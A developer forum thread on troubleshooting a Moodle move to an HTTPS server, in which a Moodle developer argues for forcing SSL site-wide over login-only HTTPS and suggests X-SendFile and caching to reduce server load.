General developer forum

There can be lots of reasons for a blank page. Were you running moodle on https prior to moving servers? 

Apache logs would be a good starting point to start troubleshooting. On unix they would usually be in /var/log/httpd/

You could test if https is working correctly by placing a test.html file with something plaintext in it, like "TEST" or anything.

Running SSL the whole time is a good idea, it safeguards you against session hijacking.

Ken you are right.  In the past we had run moodle on HTTPS (using the vhost to force https) and now we run https for login only.  As you mention a side-effect of HTTPS is that all caching is disabled.  This isn't a Moodle issue- it's an encryption issue.  There is a HUGE performance gain in not forcing HTTPS everywhere.

thank you for your solution, but if I remove that line, the moodle says "For security reasons only https conections are allowed, sorry."

or can you explain step by step to move moodle from localhost to https server?

I have read some documentation but I still don't understand

Hi,

The correct solution after confirming that your SSL is all in place correctly, it simply to update the wwwroot setting to use https instead of https. Others are right in saying that you do not need the sslproxy setting.

However, contrary to other advice, I would not advise using the loginhttps (the setting to make SSL only for login). In fact, I would personally like to see it removed entirely but this is currently not feasible. We removed the equivalent setting from Mahara over two years ago.

It is incredibly easy for someone to steal another user's login when you're dealing with unencrypted connections - even if you encrypt the login itself. There's even a FireFox extension to demonstrate just how easy it is - see http://en.wikipedia.org/wiki/Firesheep for a bit more information.

Although there is a minor performance benefit from not having SSL, it is minor and modern servers can more than cope with that increase in load. When the setting was introduced many years ago (specifically the 19th June 2004 - https://github.com/moodle/moodle/commit/8a33e3717d19e1d2d650634e301d23a82438c136), the servers people used for production were much less capable. We didn't have the benefit of modern multi-core processors and instruction sets which were more suited to SSL encryption and decryption (at least, not at an affordable price).

Again, at the time that this setting was introduced, network bandwidth was a completely different ball-game. Many people were still on slower connections (e.g. dialup) and mobile data was non-existent. Today we're in a very different world and the chance are that your mobile phone has a connection 400 times faster (56K modem vs. a conservative 20MB 4G).

Yes, you do lose the ability to cache between browser restarts. Once you have a browser open, as I understand it, you do have browser caching, though you still cannot benefit from proxy server caching.

That said, there are a number of thing which you can do to reduce the load on your server. One of the easiest to configure is the use of the X-SendFile header (and it's counterparts). I would probably advise this anyway if you are able to do so. See https://github.com/moodle/moodle/blob/master/config-dist.php#L206 for further information. This reduces the load massively for Moodle as it hands off the byte-shift serving of files to the web server, whose primary design is to serve files. Moodle serves a lot of files using byte-shifting (that's where it reads the files off disk, and then serves them rather than the web server serving the files directly) - it does to to prevent unauthorised access. The X-SendFile changes keep the authentication in place, but then add a new header (X-SendFile: /path/to/file/on/server) which the server then intercepts and uses to read the file - therefore keeping the authentication but moving the file serving back to the web server.

Another thing you can do is to introduce caching between Moodle and the SSL encryption stage. This is pretty easy with things like Varnish, and there's some functionality built into most modern web servers (I know there is for Nginx, and I think that there is for Apache2). You have to be very careful with this one, but it's generally safe to cache all of the theme directory and not much else. This is less of a benefit than X-SendFile.

There are other caveats to forcing HTTPS at all times (notably that using content from insecure sites will display warnings to this effect), but in my opinion the increased security is a better solution and educating staff as to what these warnings mean, and how they can write their content to be future-proof is something that will probably be required longer-term anyway. Moodle also does try and replace some of these links itself - e.g. if you are using SSL, I think I'm right in saying that pasting a non-SSL YouTube link it will replace it with the SSL equivalent by the Media filter.

Although Moodle is only carrying your virtual learning content, for many institutions this will include grades and will consequentially degree implications, and for some (e.g. research-based Universities) an attack of this type could potentially reveal sensitive research data which is not yet public and/or subject to appropriate copyright (so is a major concern in terms of Intellectual Property).

Of course, it's entirely up you and you must weigh up the various options but please do your research and consider your own requirements before making a decision.

Note, the opinions above are my own, and other developers at HQ may disagree. Prior to working at HQ, I did work for a University and was responsible for the development, running, and security of various sytems - we felt that SSL was an important requirement for our Moodle implementation (and many of our other systems too).

Best wishes,

Andrew